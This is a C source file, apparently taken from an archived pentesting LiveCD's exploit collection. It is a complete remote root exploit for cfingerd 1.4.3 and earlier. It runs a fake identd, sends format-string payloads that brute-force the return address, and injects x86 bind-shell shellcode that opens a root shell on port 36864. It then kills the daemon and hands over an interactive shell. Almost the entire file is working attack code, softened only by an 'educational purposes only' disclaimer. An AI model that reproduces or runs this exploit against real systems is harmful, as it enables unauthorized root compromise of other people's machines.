home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / finger / cfingerd / rdC-cfingerd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  13KB  |  516 lines

  1. /* remote exploit for linux/x86 - cfingerd <= 1.4.3
  2.  * coded by venomous of rdC - 16/apr/01
  3.  *
  4.  * Its just a common formatstring bug using syslog() incorrectly.
  5.  * We need to bind as identd, so disable your identd in case you are
  6.  * using it.
  7.  *
  8.  * BONUS: eip address is bruteforced, so relax and wait =)
  9.  *
  10.  * NOTE: for sure where we control the format string will change from
  11.  *       platform to platform.
  12.  *       And for sure, the shellcode address will change so maybe you
  13.  *       want to bruteforce this too. (-1500 to +1500 should be fine i guess)
  14.  *
  15.  * REMEMBER: this code is for educational propourses only, do not use
  16.  *           it on machines without authorization.
  17.  *
  18.  * INFO: cfingerd isnt a package of slackware 7.0
  19.  *       cfingerd 1.4.1 is a package of debian 2.2
  20.  *
  21.  * Greets: ka0z, bruj0, dn0, superluck, fugitivo(!)
  22.  *         #flatline, #rdC
  23.  *
  24.  * Credits: To Lez, who found this bug.
  25.  *
  26.  * http://www.rdcrew.com.ar - Argentinian Security Group.
  27.  * venomous@rdcrew.com.ar
  28.  */
  29.  
  30.  
  31. #include <stdio.h>
  32. #include <netinet/in.h>
  33. #include <sys/types.h>
  34. #include <sys/socket.h>
  35. #include <netdb.h>
  36. #include <signal.h>
  37. #include <sys/types.h>
  38. #include <sys/wait.h>
  39. #include <unistd.h>
  40.  
  41. #define ROOTSHELLPORT 36864
  42.  
  43. void chld_timeo();
  44. void chld_timeoo();
  45.  
  46. int sserver;
  47. int cserver;
  48. int phase=0;
  49. int mmm=0;
  50.  
  51. unsigned long glob;
  52. //unsigned long startaddr = 0xbffffdfc;
  53. unsigned long startaddr = 0xbffffb34;
  54. unsigned long stopaddr  = 0xbffff000;
  55.  
  56. char pbuf[1024];
  57.  
  58. char testcode[]=
  59.     "\xeb\x0b\x2e\x72\x64\x43\x2e\x72\x6f\x63\x6b\x73\x2e\xeb\xfe";
  60.  
  61. char linuxcode[]=
  62.     /* Lamagra bind shellcode modified by me, making it smaller =) - 124b */
  63.     "\xeb\x6e\x5e\x29\xc0\x89\x46\x10"
  64.     "\x40\x89\xc3\x89\x46\x0c\x40\x89"
  65.     "\x46\x08\x8d\x4e\x08\xb0\x66\xcd"
  66.     "\x80\x43\xc6\x46\x10\x10\x88\x46"
  67.     "\x08\x31\xc0\x31\xd2\x89\x46\x18"
  68.     "\xb0\x90\x66\x89\x46\x16\x8d\x4e"
  69.     "\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
  70.     "\x66\xcd\x80\x89\x5e\x0c\x43\x43"
  71.     "\xb0\x66\xcd\x80\x89\x56\x0c\x89"
  72.     "\x56\x10\xb0\x66\x43\xcd\x80\x86"
  73.     "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0"
  74.     "\x3f\x41\xcd\x80\xb0\x3f\x41\xcd"
  75.     "\x80\x88\x56\x07\x89\x76\x0c\x87"
  76.     "\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80"
  77.     "\xe8\x8d\xff\xff\xff\x2f\x62\x69"
  78.     "\x6e\x2f\x73\x68";
  79.  
  80. struct os
  81. {
  82.     int id;
  83.     char *os;
  84.     char *shellcode;
  85.     int fsc;
  86.     unsigned long shaddr;
  87.     int offset;
  88. };
  89.  
  90. struct os types[]=
  91. {
  92.     {0, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as root",
  93. linuxcode, 22, 0xbffffbc4, 30},
  94.     {1, "slackware 7.0 - compiled cfingerd 1.4.2/1.4.3 running from inetd as nobody",
  95. linuxcode, 22, 0xbffffbc4, 30},
  96.     {2, "debian 2.2 - default cfingerd 1.4.1 running from inetd as root", linuxcode, 33,
  97. 0xbffffb48, 0},
  98.     {3, "debian 2.2 - default cfingerd 1.4.1 running from inetd as nobody", linuxcode, 33,
  99. 0xbffffb48, 0},
  100.     {4, NULL, 0, 0xdeadbeef, 0}
  101. };
  102.  
  103. main(int argc, char *argv[])
  104. {
  105.     struct sockaddr_in sin;
  106.     struct sockaddr_in ssin;
  107.     int fd;
  108.     int x;
  109.     int xx=0;
  110.     int sts=0;
  111.     int pete;
  112.     int a,b,c=22,d=0; /* c is used in case you want to seek the fsc on   */
  113.     int guide=1;      /* your system, starting from 22, change it if you */
  114.     int sel=0;        /* want.                                           */
  115.     int bleh=0;       /*                                                 */
  116.     int off=0;
  117.     int arx=0;
  118.     int niu=0;
  119.     int ye=0;
  120.     char buf[1024];
  121.     char tex[512];
  122.  
  123.     if (argc < 4)
  124.     {
  125.         printf("cfingerd <= 1.4.3 remote exploit coded by venomous of rdC\n\n");
  126.         printf("Usage: %s <platform> <host> <offset>\n",argv[0]);
  127.         printf("where <platform> is:\n");
  128.         for (x=0 ; types[x].os != NULL ; x++)
  129.             printf("%d for %s\n", types[x].id, types[x].os);
  130.         printf("\nhttp://www.rdcrew.com.ar\n\n");
  131.         exit(1);
  132.     }
  133.  
  134.     for (x=0 ; types[x].os != NULL ; x++)
  135.     {
  136.         if (types[x].id == atoi(argv[1]) )
  137.         {
  138.             xx++;
  139.             sel = types[x].id;
  140.         }
  141.     }
  142.     if (!xx)
  143.     {
  144.         printf("Unknown platform: %s\n",argv[1]);
  145.         exit(1);
  146.     }
  147.  
  148.     off = atoi(argv[3]);
  149.     printf("Selected platform: %s (%d)\n",types[sel].os,sel);
  150.     bzero(&sin,sizeof(sin));
  151.  
  152.     // fake identd
  153.     sin.sin_family = AF_INET;
  154.     sin.sin_port = htons(113);
  155.     sin.sin_addr.s_addr = htonl(INADDR_ANY);
  156.  
  157.     if ( (fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  158.     {
  159.         perror("socket");
  160.         exit(1);
  161.     }
  162.     if ( (x = bind(fd,(struct sockaddr *)&sin, sizeof(sin)) < 0))
  163.     {
  164.         perror("bind");
  165.         exit(1);
  166.     }
  167.  
  168.     if ( (xx = listen(fd, 5)) < 0)
  169.     {
  170.         perror("listen");
  171.         exit(1);
  172.     }
  173.  
  174.     printf("fake identd bound successfuly\n\n");
  175.     printf("pre-phase info: If you need to use the offset you can use safely steps of
  176. 120\n\n");
  177.     printf("phase 0: finding eip...  \n");
  178.     while (guide)
  179.     {
  180.         //maybe you need it..
  181.         //        if (!d)
  182.         //        {
  183.         preparebuf(sel, off, ye);
  184.         fconnect(argv[2], ye, 79);
  185.         //        }
  186.  
  187.         pete = sizeof(ssin);
  188.         if ( (sserver = accept(fd, (struct sockaddr *)&ssin, &pete)) < 0)
  189.         {
  190.             perror("accept");
  191.             exit(1);
  192.         }
  193.         bzero(buf,sizeof(buf));
  194.         read(sserver,buf,sizeof(buf));
  195.  
  196.         //horrendus debug! :)
  197. #ifdef DEBUG
  198.         printf("\nread(): %s\n",buf);
  199. #endif
  200.         sscanf(buf,"%d,%d",&a,&b);
  201.         bzero(buf,sizeof(buf));
  202.         bzero(tex,sizeof(tex));
  203.         memset(tex,'\x90',119);
  204.  
  205.         bleh=strlen(pbuf);
  206.         niu = 0;
  207.  
  208.         while (1)
  209.         {
  210.             if(strlen(pbuf) < 65)
  211.             {
  212.                 if (phase==0)
  213.                     pbuf[bleh] = '\x90';
  214.                 else
  215.                     pbuf[bleh] = types[sel].shellcode[niu];
  216.                 bleh++;
  217.                 if (phase==1)
  218.                     niu++;
  219.             }
  220.             else
  221.                 break;
  222.         }
  223.         arx = niu;
  224.  
  225.         if(!phase)
  226.             for(bleh=0 ; bleh < strlen(testcode) ; bleh++)
  227.                 tex[119 - strlen(testcode) + bleh] = testcode[bleh];
  228.  
  229.         else
  230.         {
  231.             if ((119 - (strlen(types[sel].shellcode) - arx)) < 0)
  232.             {
  233.                 printf("shellcode too long, exiting\n");
  234.                 exit(0);
  235.             }
  236.  
  237.             for ( bleh=0 ; bleh < ( (strlen(types[sel].shellcode)) - arx) ; bleh++)
  238.                 tex[119 - (strlen(types[sel].shellcode)) - arx + bleh] =
  239. types[sel].shellcode[bleh+arx];
  240.         }
  241.  
  242.         snprintf(buf,sizeof(buf),"%s : : : %s", tex, pbuf);
  243.         /* usefull for find the fsc on your system.
  244.          //snprintf(buf,sizeof(buf),"%d , %d : UNIX : 1 : AAAA%%%d$p:fsc:%d\n",a,b,c,c);
  245.         // read about 'd' below
  246.         if (d==2) { c++; d=0; }
  247.         */
  248.         write(sserver,buf,sizeof(buf));
  249.  
  250.         //the same..
  251. #ifdef DEBUG
  252.         printf("sent: %s\n--------------------\n",buf);
  253. #endif
  254.         close(sserver);
  255.         sleep(2);
  256.  
  257.         //same..
  258.         //      if(d)
  259.         wait(&sts);
  260.         //      d++;
  261.  
  262.         /* if something like tcplogd is running there will be 3 connections
  263.          * to identd, so in that case, d==3
  264.          */
  265.         //if(d==2)
  266.         //    d=0;
  267.  
  268.         if ((WEXITSTATUS(sts)) == 1) // eip/shellcode address ok (at phase 0)
  269.         {
  270.             phase=1; ye=1; sts=0;
  271.             printf("\nphase 1: calculating address of the first chacarcter in our buffer...
  272. wait\n");
  273.         }
  274.  
  275.         if ((WEXITSTATUS(sts)) == 2) // shellcode executed (at phase 1)
  276.         {
  277.             printf("\nphase 2 connecting to rootshell... ");
  278.             fflush(stdout);
  279.             close(fd); //identd fake server
  280.             fconnect(argv[2], 2, ROOTSHELLPORT);
  281.             printf("\n\nThanks for using rdC products!\n\n");
  282.             exit(0);
  283.         }
  284.     }
  285. }
  286.  
  287. int fconnect(char *hname, int what, int port)
  288. {
  289.     struct hostent *host;
  290.     struct sockaddr_in d;
  291.     int r;
  292.     char hname2[128];
  293.     char response[1024];
  294.     d.sin_family = AF_INET;
  295.     d.sin_port = htons(port);
  296.  
  297.     bzero(hname2,sizeof(hname2));
  298.     strncpy(hname2,hname,sizeof(hname2));
  299.     host = gethostbyname(hname2);
  300.     if (!host)
  301.     {
  302.         printf("cannot resolve\n");
  303.         exit(0);
  304.     }
  305.  
  306.     bcopy(host->h_addr, (struct in_addr *)&d.sin_addr, host->h_length);
  307.  
  308.     cserver = socket(AF_INET, SOCK_STREAM, 0);
  309.  
  310.     // you can add a timeout here, but supossly you know if the server
  311.     // is up/not firewalled, because you are using it against an authorized
  312.     // machine and not in a script/not authorized machine, right?
  313.  
  314.     if (connect(cserver, (struct sockaddr *)&d, sizeof(struct sockaddr)) < 0)
  315.     {
  316.         perror("connect");
  317.         exit(1);
  318.     }
  319.  
  320.     if (what==2)
  321.     {
  322.         printf("connected!\n");
  323.         fflush(stdout);
  324.         rootsox(cserver);
  325.         close(cserver);
  326.         return;
  327.     }
  328.  
  329.     write(cserver,"a\n",strlen("a\n"));
  330.  
  331.     if ((fork()) == 0)
  332.     {
  333.         printf("Waiting response...");
  334.         for(r=0 ; r < 19 ; r++)
  335.             printf("\b");
  336.         fflush(stdout);
  337.         bzero(response,sizeof(response));
  338.         if (what==0)
  339.             signal(SIGALRM, chld_timeo);
  340.         else
  341.             signal(SIGALRM, chld_timeoo);
  342.  
  343.         alarm(30);
  344.         read(cserver,response,sizeof(response));
  345.         if (strstr(response,"SIGILL"))
  346.         {
  347.             printf("Illegal Instruction\r");
  348.             fflush(stdout);
  349.             close(cserver);
  350.             exit(0);
  351.         }
  352.         if (strstr(response,"SIGSEGV"))
  353.         {
  354.             printf("Segmentation Fault.\r");
  355.             fflush(stdout);
  356.             close(cserver);
  357.             exit(0);
  358.         }
  359.         //you might add strings here..
  360.         if (strstr(response,"Sorry, that user doesn't exist") || strstr(response,"Debian
  361. GNU/Linux"))
  362.         {
  363.             printf("server not crashed.\r");
  364.             fflush(stdout);
  365.             close(cserver);
  366.             exit(0);
  367.         }
  368.     }
  369.     //close(cserver);
  370. }
  371.  
  372. /* <huh> */
  373. void chld_timeo()
  374. {
  375.     alarm(0);
  376.     signal(SIGALRM, SIG_DFL);
  377.     printf("EIP FOUND! - SHELLCODE ADDR OK!\n");
  378.     fflush(stdout);
  379.     close(cserver);
  380.     exit(1);
  381. }
  382.  
  383. void chld_timeoo()
  384. {
  385.     alarm(0);
  386.     signal(SIGALRM, SIG_DFL);
  387.     printf("shellcode executed!\n");
  388.     fflush(stdout);
  389.     close(cserver);
  390.     exit(2);
  391. }
  392. /* </huh> */
  393.  
  394. int rootsox(int sox)
  395. {
  396.     fd_set  rset;
  397.     int     n;
  398.     char    buffer[4096];
  399.  
  400.     /* we kill the cfingerd in eternal loop and we run other nice commands ;)
  401.      */
  402.     char *command="/bin/killall -9 cfingerd ; /bin/uname -a ; /usr/bin/id\n";
  403.  
  404.     send(sox, command, strlen(command), 0);
  405.  
  406.     for (;;) {
  407.         FD_ZERO (&rset);
  408.         FD_SET (sox, &rset);
  409.         FD_SET (STDIN_FILENO, &rset);
  410.  
  411.         n = select(sox + 1, &rset, NULL, NULL, NULL);
  412.         if(n <= 0)
  413.             return (-1);
  414.  
  415.         if(FD_ISSET (sox, &rset)) {
  416.             n = recv (sox, buffer, sizeof (buffer), 0);
  417.             if (n <= 0)
  418.                 break;
  419.  
  420.             write (STDOUT_FILENO, buffer, n);
  421.         }
  422.  
  423.         if(FD_ISSET (STDIN_FILENO, &rset)) {
  424.             n = read (STDIN_FILENO, buffer, sizeof (buffer));
  425.             if (n <= 0)
  426.                 break;
  427.  
  428.             send(sox, buffer, n, 0);
  429.         }
  430.     }
  431.     return 0;
  432. }
  433.  
  434. //heavly modified formatstring engine from rdC-LPRng.c exploit - 12/00
  435. preparebuf(int sel, int off, int what)
  436. {
  437.     unsigned long addr;
  438.     unsigned long a, b, c, d;
  439.     int pas1,pas2,pas3,pas4;
  440.     int i;
  441.     char temp[512];
  442.     char buf[512];
  443.     char atemp[128];
  444.     char bufx[512];
  445.  
  446.     startaddr = startaddr - 0x4;
  447.     addr = startaddr;
  448.  
  449.     bzero(temp,sizeof(temp));
  450.     bzero(buf,sizeof(buf));
  451.     bzero(bufx,sizeof(bufx));
  452.     bzero(atemp,sizeof(atemp));
  453.  
  454.     if (addr == stopaddr)
  455.     {
  456.         printf("\nreached stopaddr, change shellcode address/fsc\n");
  457.         exit(1);
  458.     }
  459.  
  460.     if(what)
  461.     {
  462.         off-=mmm;
  463.         mmm++;
  464.     }
  465.  
  466.     if (mmm == 185)
  467.     {
  468.         printf("?!.. we cant find the first character of our shellcode!#@\n");
  469.         exit(0);
  470.     }
  471.  
  472.     snprintf(temp,sizeof(temp),"%p",types[sel].shaddr+types[sel].offset+off);
  473.     sscanf(temp,"0x%2x%2x%2x%2x",&a,&b,&c,&d);
  474.     pas1 = d - (16 * 2);
  475.     pas1 = cn(pas1);
  476.     pas2 = c - d;
  477.     pas2 = cn(pas2);
  478.     pas3 = b - c;
  479.     pas3 = cn(pas3);
  480.     pas4 = a - b;
  481.     pas4 = cn(pas4);
  482.  
  483.     if(what)
  484.         addr = glob;
  485.     else
  486.         glob = addr;
  487.  
  488.     printf("eip: %p - shellcode addr: %p - ",addr,types[sel].shaddr+types[sel].offset+off);
  489.     fflush(stdout);
  490.  
  491.     for (i=0 ; i < 4 ; i++)
  492.     {
  493.         snprintf(atemp,sizeof(atemp),"%s",&addr);
  494.         strncat(buf, atemp, 4);
  495.         addr++;
  496.     }
  497.  
  498.  
  499. snprintf(bufx,sizeof(bufx),"%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n%%.%du%%%d$n",pas1,(types[sel].fsc),pas2,(types[sel].fsc)+1,pas3,(types[sel].fsc)+2,pas4,types[sel].fsc+3);
  500.     strcat(buf,bufx);
  501.     bzero(pbuf,sizeof(pbuf));
  502.     strncpy(pbuf,buf,sizeof(pbuf));
  503. }
  504.  
  505. cn(unsigned long addr)
  506. {
  507.     char he[128];
  508.  
  509.     snprintf(he,sizeof(he),"%d",addr);
  510.     if (atoi(he) < 8)
  511.         addr = addr + 256;
  512.  
  513.     return addr;
  514. }
  515.  
  516.